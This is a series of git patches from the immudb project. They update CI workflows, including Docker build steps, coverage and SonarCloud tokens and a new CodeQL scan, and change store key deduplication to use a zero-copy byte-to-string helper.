--- a/build/fips/Dockerfile.immuclient +++ b/build/fips/Dockerfile.immuclient @@ -1,7 +1,7 @@ FROM us-docker.pkg.dev/google.com/api-project-999119582588/go-boringcrypto/golang:1.18.5b7 as build WORKDIR /src COPY . . -RUN GOOS=linux GOARCH=amd64 make immuclient-fips +RUN GOOS=linux GOARCH=${BUILD_ARCH} make immuclient-fips ### distroless FIPS 140-2 FROM gcr.io/distroless/base:nonroot AS distroless-fips From 9b4c8ff935a9c8ee2ea350e38f2352a7dbf26dc6 Mon Sep 17 00:00:00 2001 From: Abdelkader Boudih Date: Sat, 17 Feb 2024 23:30:25 +0100 Subject: [PATCH 0983/1062] chore: Update GitHub Actions to use checkout@v4 Signed-off-by: Abdelkader Boudih --- .github/workflows/performance.yml | 4 ++-- .github/workflows/pull.yml | 8 ++++---- .github/workflows/push-dev.yml | 2 +- .github/workflows/push.yml | 12 ++++++------ .github/workflows/stress.yml | 2 +- 5 files changed, 14 insertions(+), 14 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index b1c2f719aa..788740f283 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -49,7 +49,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ inputs.go-version }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/ - name: Run performance tests id: performance @@ -95,7 +95,7 @@ jobs: env: PERF_TEST_AWS_REGION: ${{ secrets.PERF_TEST_AWS_REGION }} steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Download test results if: "${{ env.PERF_TEST_AWS_REGION }}" diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index b419e388c1..9f691e5286 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -38,7 +38,7 @@ jobs: with: go-version: ${{ matrix.go }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Test run: make test @@ -123,7 +123,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - uses: securego/gosec@v2.17.0 with: args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... @@ -135,7 +135,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: "1.18" - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - run: | # Spawn minio docker container in the background docker run -d -t -p 9000:9000 --name minio \ @@ -199,7 +199,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: "1.18" - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - run: go build -o perf-test-suite ./test/performance-test-suite/cmd/perf-test/ - run: ./perf-test-suite > perf-test-results.json - name: Upload test results diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index 0c0f85bb81..e5b3e52bdd 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -17,7 +17,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - run: | GITTAG=$(git rev-parse HEAD | head -c 8) docker build -t codenotary/immudb-dev1:$GITTAG . diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 32ad7f5de6..efee7a85d8 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -21,7 +21,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ env.MIN_SUPPORTED_GO_VERSION }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - run: make all gosec: @@ -33,7 +33,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Run Gosec Security Scanner uses: securego/gosec@v2.17.0 with: @@ -54,7 +54,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Build binaries run: WEBCONSOLE=default SWAGGER=true make dist - id: list-binaries @@ -160,7 +160,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Run KV stress test run: | go run ./tools/testing/stress_tool_test_kv/ \ @@ -231,7 +231,7 @@ jobs: DEBIAN_VERSION: bullseye-slim ALMA_VERSION: almalinux-8-minimal steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Build docker images shell: bash run: | @@ -302,7 +302,7 @@ jobs: - uses: actions/setup-go@v5 with: go-version: ${{ env.GO_VERSION }} - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - run: | # Spawn minio docker container in the background docker run -d -t -p 9000:9000 --name minio \ diff --git a/.github/workflows/stress.yml b/.github/workflows/stress.yml index 071a0a00c0..b8faf61ccd 100644 --- a/.github/workflows/stress.yml +++ b/.github/workflows/stress.yml @@ -14,7 +14,7 @@ jobs: uses: actions/setup-go@v5 with: go-version: "1.18" - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 - name: Build stress tool run: | go build embedded/tools/stress_tool/stress_tool.go From 4ab6211fd526c4e04f690d40c1f97b02a54f35c9 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Sun, 7 Apr 2024 20:16:58 +0200 Subject: [PATCH 0984/1062] Add contrib.rocks image --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 89846f8cec..a92a4b1fdf 100644 --- a/README.md +++ b/README.md @@ -319,6 +319,10 @@ The following topics are important to us and are planned or already being worked We welcome [contributors](CONTRIBUTING.md). Feel free to join the team! + + + + Learn how to [build](BUILD.md) immudb components in both binary and Docker image form. To report bugs or get help, use [GitHub's issues](https://github.com/codenotary/immudb/issues). From a1f23d33d38cb0b2edec944894dcd4e55d394846 Mon Sep 17 00:00:00 2001 From: Abdelkader Boudih Date: Mon, 8 Apr 2024 19:43:19 +0000 Subject: [PATCH 0985/1062] chore: The GitHub workflow push.yml was updated to use the repository owner's Docker images instead of fixed ones. This change allows for more flexibility and control when using Docker images, and ensures that the correct images are used based on the repository owner. --- .github/workflows/push-dev.yml | 8 ++++---- .github/workflows/push.yml | 12 ++++++------ 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml index e5b3e52bdd..7bb5bbc926 100644 --- a/.github/workflows/push-dev.yml +++ b/.github/workflows/push-dev.yml @@ -20,8 +20,8 @@ jobs: - uses: actions/checkout@v4 - run: | GITTAG=$(git rev-parse HEAD | head -c 8) - docker build -t codenotary/immudb-dev1:$GITTAG . - docker image tag codenotary/immudb-dev1:$GITTAG codenotary/immudb-dev1:latest + docker build -t ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG . + docker image tag ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:latest docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" - docker image push codenotary/immudb-dev1:$GITTAG - docker image push codenotary/immudb-dev1:latest + docker image push ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:$GITTAG + docker image push ${{ vars.DOCKER_HUB_USER }}/immudb-dev1:latest diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index efee7a85d8..3a1a0e2120 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -221,12 +221,12 @@ jobs: env: JOB_NAME: ${{ github.job }} JOB_ID: ${{ github.run_id }} - DOCKER_IMAGE_IMMUDB: "codenotary/immudb" - DOCKER_IMAGE_IMMUDB_FIPS: "codenotary/immudb-fips" - DOCKER_IMAGE_IMMUADMIN: "codenotary/immuadmin" - DOCKER_IMAGE_IMMUADMIN_FIPS: "codenotary/immuadmin-fips" - DOCKER_IMAGE_IMMUCLIENT: "codenotary/immuclient" - DOCKER_IMAGE_IMMUCLIENT_FIPS: "codenotary/immuclient-fips" + DOCKER_IMAGE_IMMUDB: "${{ vars.DOCKER_HUB_USER }}/immudb" + DOCKER_IMAGE_IMMUDB_FIPS: "${{ vars.DOCKER_HUB_USER }}/immudb-fips" + DOCKER_IMAGE_IMMUADMIN: "${{ vars.DOCKER_HUB_USER }}/immuadmin" + DOCKER_IMAGE_IMMUADMIN_FIPS: "${{ vars.DOCKER_HUB_USER }}/immuadmin-fips" + DOCKER_IMAGE_IMMUCLIENT: "${{ vars.DOCKER_HUB_USER }}/immuclient" + DOCKER_IMAGE_IMMUCLIENT_FIPS: "${{ vars.DOCKER_HUB_USER }}/immuclient-fips" DOCKER_BUILDKIT: "1" DEBIAN_VERSION: bullseye-slim ALMA_VERSION: almalinux-8-minimal From 5993978053d4bcd110242e11f499eb94a07be2fc Mon Sep 17 00:00:00 2001 From: Abdelkader Boudih Date: Mon, 8 Apr 2024 22:11:47 +0000 Subject: [PATCH 0986/1062] chore: refactor image building In the push.yml file, the docker images build process has been updated. The changes include the use of QEMU and Docker Buildx. Docker images for various environments like scratch, Debian version, Alma version, etc., are now built and pushed using Docker's build-push-action. Signed-off-by: Abdelkader Boudih --- .github/workflows/push.yml | 83 +++++++++++++++++++++++++++++++++----- 1 file changed, 73 insertions(+), 10 deletions(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 3a1a0e2120..4745944c0a 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -232,7 +232,79 @@ jobs: ALMA_VERSION: almalinux-8-minimal steps: - uses: actions/checkout@v4 - - name: Build docker images + - name: Set up QEMU + uses: docker/setup-qemu-action@v3 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + + - name: Build and push Docker image for Dockerfile + uses: docker/build-push-action@v5 + with: + context: . + target: scratch + tags: | + ${{ env.DOCKER_IMAGE_IMMUDB }}:dev + file: build/Dockerfile + + - name: Build and push Docker image for Dockerfile ${{ env.DEBIAN_VERSION }} + uses: docker/build-push-action@v5 + with: + context: . + target: ${{ env.DEBIAN_VERSION }} + tags: | + ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${ env.DEBIAN_VERSION } + file: build/Dockerfile + + - name: Build and push Docker image for Dockerfile ${{ env.ALMA_VERSION }} + uses: docker/build-push-action@v5 + with: + context: . + tags: | + ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${ env.ALMA_VERSION } + file: build/Dockerfile.alma + + - name: Build and push Docker image for Dockerfile.immuadmin + uses: docker/build-push-action@v5 + with: + context: . + tags: | + ${{ env.DOCKER_IMAGE_IMMUADMIN }}:dev + file: build/Dockerfile.immuadmin + + - name: Build and push Docker image for Dockerfile.immuclient + uses: docker/build-push-action@v5 + with: + context: . + tags: | + ${{ env.DOCKER_IMAGE_IMMUCLIENT }}:dev + file: build/Dockerfile.immuclient + + - name: Build and push Docker image for fips/Dockerfile + uses: docker/build-push-action@v5 + with: + context: . + tags: | + ${{ env.DOCKER_IMAGE_IMMUDB_FIPS }}:dev + file: build/fips/Dockerfile + + - name: Build and push Docker image for fips/Dockerfile.immuadmin + uses: docker/build-push-action@v5 + with: + context: . + tags: | + ${{ env.DOCKER_IMAGE_IMMUADMIN_FIPS }}:dev + file: build/fips/Dockerfile.immuadmin + + - name: Build and push Docker image for fips/Dockerfile.immuclient + uses: docker/build-push-action@v5 + with: + context: . + tags: | + ${{ env.DOCKER_IMAGE_IMMUCLIENT_FIPS }}:dev + file: build/fips/Dockerfile.immuclient + + - name: Push docker images shell: bash run: | if [[ "${GITHUB_REF}" =~ ^refs/tags/v([0-9]+)\.([A-Z0-9]+)\.([0-9]+)$ ]]; then @@ -240,15 +312,6 @@ jobs: VERSION_TAG_SHORT="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}" fi - docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev" --target scratch -f build/Dockerfile . - docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}" --target ${DEBIAN_VERSION} -f build/Dockerfile . - docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}" -f build/Dockerfile.alma . - docker build --tag "${DOCKER_IMAGE_IMMUADMIN}:dev" -f build/Dockerfile.immuadmin . - docker build --tag "${DOCKER_IMAGE_IMMUCLIENT}:dev" -f build/Dockerfile.immuclient . - docker build --tag "${DOCKER_IMAGE_IMMUDB_FIPS}:dev" -f build/fips/Dockerfile . - docker build --tag "${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev" -f build/fips/Dockerfile.immuadmin . - docker build --tag "${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev" -f build/fips/Dockerfile.immuclient . - docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" docker push "${DOCKER_IMAGE_IMMUDB}:dev" From 03c6526610fef4dc7dc48cf5da54f1883774fdbb Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 11 Apr 2024 16:41:47 +0200 Subject: [PATCH 0987/1062] .github/workflows/push.yml Add double curly braces --- .github/workflows/push.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 4745944c0a..c6c7e98cbe 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -253,7 +253,7 @@ jobs: context: . target: ${{ env.DEBIAN_VERSION }} tags: | - ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${ env.DEBIAN_VERSION } + ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.DEBIAN_VERSION }} file: build/Dockerfile - name: Build and push Docker image for Dockerfile ${{ env.ALMA_VERSION }} @@ -261,7 +261,7 @@ jobs: with: context: . tags: | - ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${ env.ALMA_VERSION } + ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.ALMA_VERSION }} file: build/Dockerfile.alma - name: Build and push Docker image for Dockerfile.immuadmin From a0b748905e01f26c9df13706c4922108c20ad319 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Thu, 11 Apr 2024 17:50:50 +0200 Subject: [PATCH 0988/1062] Revert changes on push action --- .github/workflows/push.yml | 83 +++++--------------------------------- 1 file changed, 10 insertions(+), 73 deletions(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index c6c7e98cbe..3a1a0e2120 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -232,79 +232,7 @@ jobs: ALMA_VERSION: almalinux-8-minimal steps: - uses: actions/checkout@v4 - - name: Set up QEMU - uses: docker/setup-qemu-action@v3 - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 - - - name: Build and push Docker image for Dockerfile - uses: docker/build-push-action@v5 - with: - context: . - target: scratch - tags: | - ${{ env.DOCKER_IMAGE_IMMUDB }}:dev - file: build/Dockerfile - - - name: Build and push Docker image for Dockerfile ${{ env.DEBIAN_VERSION }} - uses: docker/build-push-action@v5 - with: - context: . - target: ${{ env.DEBIAN_VERSION }} - tags: | - ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.DEBIAN_VERSION }} - file: build/Dockerfile - - - name: Build and push Docker image for Dockerfile ${{ env.ALMA_VERSION }} - uses: docker/build-push-action@v5 - with: - context: . - tags: | - ${{ env.DOCKER_IMAGE_IMMUDB }}:dev-${{ env.ALMA_VERSION }} - file: build/Dockerfile.alma - - - name: Build and push Docker image for Dockerfile.immuadmin - uses: docker/build-push-action@v5 - with: - context: . - tags: | - ${{ env.DOCKER_IMAGE_IMMUADMIN }}:dev - file: build/Dockerfile.immuadmin - - - name: Build and push Docker image for Dockerfile.immuclient - uses: docker/build-push-action@v5 - with: - context: . - tags: | - ${{ env.DOCKER_IMAGE_IMMUCLIENT }}:dev - file: build/Dockerfile.immuclient - - - name: Build and push Docker image for fips/Dockerfile - uses: docker/build-push-action@v5 - with: - context: . - tags: | - ${{ env.DOCKER_IMAGE_IMMUDB_FIPS }}:dev - file: build/fips/Dockerfile - - - name: Build and push Docker image for fips/Dockerfile.immuadmin - uses: docker/build-push-action@v5 - with: - context: . - tags: | - ${{ env.DOCKER_IMAGE_IMMUADMIN_FIPS }}:dev - file: build/fips/Dockerfile.immuadmin - - - name: Build and push Docker image for fips/Dockerfile.immuclient - uses: docker/build-push-action@v5 - with: - context: . - tags: | - ${{ env.DOCKER_IMAGE_IMMUCLIENT_FIPS }}:dev - file: build/fips/Dockerfile.immuclient - - - name: Push docker images + - name: Build docker images shell: bash run: | if [[ "${GITHUB_REF}" =~ ^refs/tags/v([0-9]+)\.([A-Z0-9]+)\.([0-9]+)$ ]]; then @@ -312,6 +240,15 @@ jobs: VERSION_TAG_SHORT="${BASH_REMATCH[1]}.${BASH_REMATCH[2]}" fi + docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev" --target scratch -f build/Dockerfile . + docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev-${DEBIAN_VERSION}" --target ${DEBIAN_VERSION} -f build/Dockerfile . + docker build --tag "${DOCKER_IMAGE_IMMUDB}:dev-${ALMA_VERSION}" -f build/Dockerfile.alma . + docker build --tag "${DOCKER_IMAGE_IMMUADMIN}:dev" -f build/Dockerfile.immuadmin . + docker build --tag "${DOCKER_IMAGE_IMMUCLIENT}:dev" -f build/Dockerfile.immuclient . + docker build --tag "${DOCKER_IMAGE_IMMUDB_FIPS}:dev" -f build/fips/Dockerfile . + docker build --tag "${DOCKER_IMAGE_IMMUADMIN_FIPS}:dev" -f build/fips/Dockerfile.immuadmin . + docker build --tag "${DOCKER_IMAGE_IMMUCLIENT_FIPS}:dev" -f build/fips/Dockerfile.immuclient . + docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" docker push "${DOCKER_IMAGE_IMMUDB}:dev" From 688fe0a6e7676449de96dc3aa61de03df2d38ff3 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 17:35:11 +0200 Subject: [PATCH 0989/1062] Use github token instead of coveralls repo token --- .github/workflows/pull.yml | 4 ++-- .github/workflows/push.yml | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 9f691e5286..59bc4797ec 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -153,12 +153,12 @@ jobs: set -o pipefail ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out - ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken "$SECRET_TOKEN" + ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci # Stop minio docker rm -f minio env: - SECRET_TOKEN: ${{ secrets.COVERALLS_TOKEN }} + COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 3a1a0e2120..9243ad06ac 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -320,12 +320,12 @@ jobs: set -o pipefail ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out - ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken "$SECRET_TOKEN" + ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci # Stop minio docker rm -f minio env: - SECRET_TOKEN: ${{ secrets.COVERALLS_TOKEN }} + COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }} - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: From 1d02fa8e79b198c32881485dc22c14baa19b080a Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 12 Apr 2024 17:46:59 +0200 Subject: [PATCH 0990/1062] Create codeql.yml --- .github/workflows/codeql.yml | 96 ++++++++++++++++++++++++++++++++++++ 1 file changed, 96 insertions(+) create mode 100644 .github/workflows/codeql.yml diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 0000000000..6a01648f25 --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,96 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +# +# ******** NOTE ******** +# We have attempted to detect the languages in your repository. Please check +# the `language` matrix defined below to confirm you have the correct set of +# supported CodeQL languages. +# +name: "CodeQL" + +on: + push: + branches: [ "master", "*", "develop" ] + pull_request: + branches: [ "master", "*", "develop" ] + schedule: + - cron: '39 20 * * 0' + +jobs: + analyze: + name: Analyze (${{ matrix.language }}) + # Runner size impacts CodeQL analysis time. To learn more, please see: + # - https://gh.io/recommended-hardware-resources-for-running-codeql + # - https://gh.io/supported-runners-and-hardware-resources + # - https://gh.io/using-larger-runners (GitHub.com only) + # Consider using larger runners or machines with greater resources for possible analysis time improvements. + runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} + timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }} + permissions: + # required for all workflows + security-events: write + + # required to fetch internal or private CodeQL packs + packages: read + + # only required for workflows in private repositories + actions: read + contents: read + + strategy: + fail-fast: false + matrix: + include: + - language: go + build-mode: autobuild + - language: javascript-typescript + build-mode: none + - language: python + build-mode: none + # CodeQL supports the following values keywords for 'language': 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' + # Use `c-cpp` to analyze code written in C, C++ or both + # Use 'java-kotlin' to analyze code written in Java, Kotlin or both + # Use 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both + # To learn more about changing the languages that are analyzed or customizing the build mode for your analysis, + # see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning. + # If you are analyzing a compiled language, you can modify the 'build-mode' for that language to customize how + # your codebase is analyzed, see https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: ${{ matrix.language }} + build-mode: ${{ matrix.build-mode }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + + # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs + # queries: security-extended,security-and-quality + + # If the analyze step fails for one of the languages you are analyzing with + # "We were unable to automatically build your code", modify the matrix above + # to set the build mode to "manual" for that language. Then modify this step + # to build your code. + # ℹ️ Command-line programs to run using the OS shell. + # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun + - if: matrix.build-mode == 'manual' + run: | + echo 'If you are using a "manual" build mode for one or more of the' \ + 'languages you are analyzing, replace this with the commands to build' \ + 'your code, for example:' + echo ' make bootstrap' + echo ' make release' + exit 1 + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v3 + with: + category: "/language:${{matrix.language}}" From d83e7fe9dc1d52a33485a1b856e49915db5cd969 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Fri, 12 Apr 2024 18:11:28 +0200 Subject: [PATCH 0991/1062] conditional execution of sonarcloud scan --- .github/workflows/pull.yml | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 59bc4797ec..cc9217badf 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -159,11 +159,18 @@ jobs: docker rm -f minio env: COVERALLS_TOKEN: ${{ secrets.GITHUB_TOKEN }} + + sonarsource: + name: Coverage + runs-on: ubuntu-latest + if: github.event.pull_request.head.repo.full_name == github.repository + steps: + - uses: actions/checkout@v4 - name: Analyze with SonarCloud uses: sonarsource/sonarcloud-github-action@master env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} + SONAR_TOKEN: ${{ secrets.SONAR_NEW_TOKEN }} performance-test-suite-detect-runners: runs-on: ubuntu-latest From f93fb8e112576ca759de64200e313dc7bb4da46a Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 18:45:54 +0200 Subject: [PATCH 0992/1062] Use SONAR_TOKEN --- .github/workflows/pull.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index cc9217badf..ec96a3ba28 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -170,7 +170,7 @@ jobs: uses: sonarsource/sonarcloud-github-action@master env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - SONAR_TOKEN: ${{ secrets.SONAR_NEW_TOKEN }} + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} performance-test-suite-detect-runners: runs-on: ubuntu-latest From bdb2c0b249e8a2119c2f0904f26a06ddf86321c0 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 18:55:21 +0200 Subject: [PATCH 0993/1062] Update additional reference to SONAR_NEW_TOKEN --- .github/workflows/push.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 9243ad06ac..c08887d259 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -330,4 +330,4 @@ jobs: uses: sonarsource/sonarcloud-github-action@master env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - SONAR_TOKEN: ${{ secrets.SONAR_NEW_TOKEN }} + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} From 03213dc956826494d66a058d09381a97f11507f3 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Fri, 12 Apr 2024 18:40:38 +0200 Subject: [PATCH 0994/1062] Remove base64 conversion for checking duplicates --- embedded/store/immustore.go | 11 +++++------ pkg/helpers/slices/slices.go | 12 ++++++++++++ 2 files changed, 17 insertions(+), 6 deletions(-) create mode 100644 pkg/helpers/slices/slices.go diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 0903a13717..57dabe4cf4 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -21,7 +21,6 @@ import ( "container/list" "context" "crypto/sha256" - "encoding/base64" "encoding/binary" "encoding/hex" "errors" @@ -39,11 +38,11 @@ import ( "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/htree" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/embedded/watchers" - - "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/pkg/helpers/slices" ) var ErrIllegalArguments = embedded.ErrIllegalArguments @@ -3212,11 +3211,11 @@ func (s *ImmuStore) validateEntries(entries []*EntrySpec) error { return ErrMaxValueLenExceeded } - b64k := base64.StdEncoding.EncodeToString(kv.Key) - if _, ok := m[b64k]; ok { + ks := slices.BytesToString(kv.Key) + if _, ok := m[ks]; ok { return ErrDuplicatedKey } - m[b64k] = struct{}{} + m[ks] = struct{}{} } return nil diff --git a/pkg/helpers/slices/slices.go b/pkg/helpers/slices/slices.go new file mode 100644 index 0000000000..81608363c4 --- /dev/null +++ b/pkg/helpers/slices/slices.go @@ -0,0 +1,12 @@ +package slices + +import ( + "unsafe" +) + +// BytesToString converts bytes to a string without memory allocation. +// NOTE: The given bytes MUST NOT be modified since they share the same backing array +// with the returned string. +func BytesToString(bs []byte) string { + return *(*string)(unsafe.Pointer(&bs)) +} From a4e7599e72847f00fffc9279a8f1196e70d374a3 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Sat, 13 Apr 2024 08:12:28 +0200 Subject: [PATCH 0995/1062] Add reference implementation --- pkg/helpers/slices/slices.go | 1 + 1 file changed, 1 insertion(+) diff --git a/pkg/helpers/slices/slices.go b/pkg/helpers/slices/slices.go index 81608363c4..a8ccc82ac6 100644 --- a/pkg/helpers/slices/slices.go +++ b/pkg/helpers/slices/slices.go @@ -7,6 +7,7 @@ import ( // BytesToString converts bytes to a string without memory allocation. // NOTE: The given bytes MUST NOT be modified since they share the same backing array // with the returned string. +// Reference implementation: https://github.com/golang/go/blob/ad7c32dc3b6d5edc3dd72b3e15c80dc4f4c27064/src/strings/builder.go#L47. func BytesToString(bs []byte) string { return *(*string)(unsafe.Pointer(&bs)) } From 